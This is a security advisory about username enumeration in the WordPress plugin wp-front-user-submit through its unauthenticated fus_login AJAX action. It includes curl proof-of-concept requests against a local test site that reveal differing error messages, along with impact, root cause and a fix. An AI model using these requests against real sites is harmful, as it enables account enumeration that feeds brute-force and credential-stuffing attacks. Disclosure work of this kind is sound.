Description The WordPress plugin wp-front-user-submit is vulnerable to username enumeration via its unauthenticated AJAX login endpoint. The plugin registers the following AJAX actions accessible without authentication: wp_ajax_nopriv_fus_login wp_ajax_fus_login During the login process, the backend returns different error messages depending on whether the username exists or not, which allows an attacker to enumerate valid WordPress usernames remotely. This behavior is caused by directly returning the raw wp_signon() error messages without normalization. Affected Endpoint POST /wp-admin/admin-ajax.php Vulnerable Action action=fus_login Proof of Concept (PoC) Valid username (wrong password) curl -X POST http://127.0.0.1:8080/wp-admin/admin-ajax.php \ -d "action=fus_login" \ -d "nonce=VALID_NONCE" \ -d "fus_username=root" \ -d "fus_password=wrong" Response (password incorrect): ERROR: The password you entered for the username root is incorrect. Non‑existent username Bash curl -X POST http://127.0.0.1:8080/wp-admin/admin-ajax.php \ -d "action=fus_login" \ -d "nonce=VALID_NONCE" \ -d "fus_username=nosuchuser" \ -d "fus_password=wrong" Response (user does not exist): ERROR: The username nosuchuser is not registered on this site. Impact An unauthenticated attacker can: Enumerate valid WordPress usernames Build accurate user lists Combine this information with brute-force or credential stuffing attacks This significantly reduces the security of the authentication mechanism. Root Cause The plugin directly returns WordPress authentication error messages without sanitizing or unifying them, leaking internal authentication logic. Recommended Fix Always return a generic error message such as: “Invalid username or password” Avoid exposing whether the username exists Implement rate limiting or CAPTCHA for AJAX login attempts
References:
https://cwe.mitre.org/data/definitions/204.html
https://developer.wordpress.org/reference/functions/wp_signon/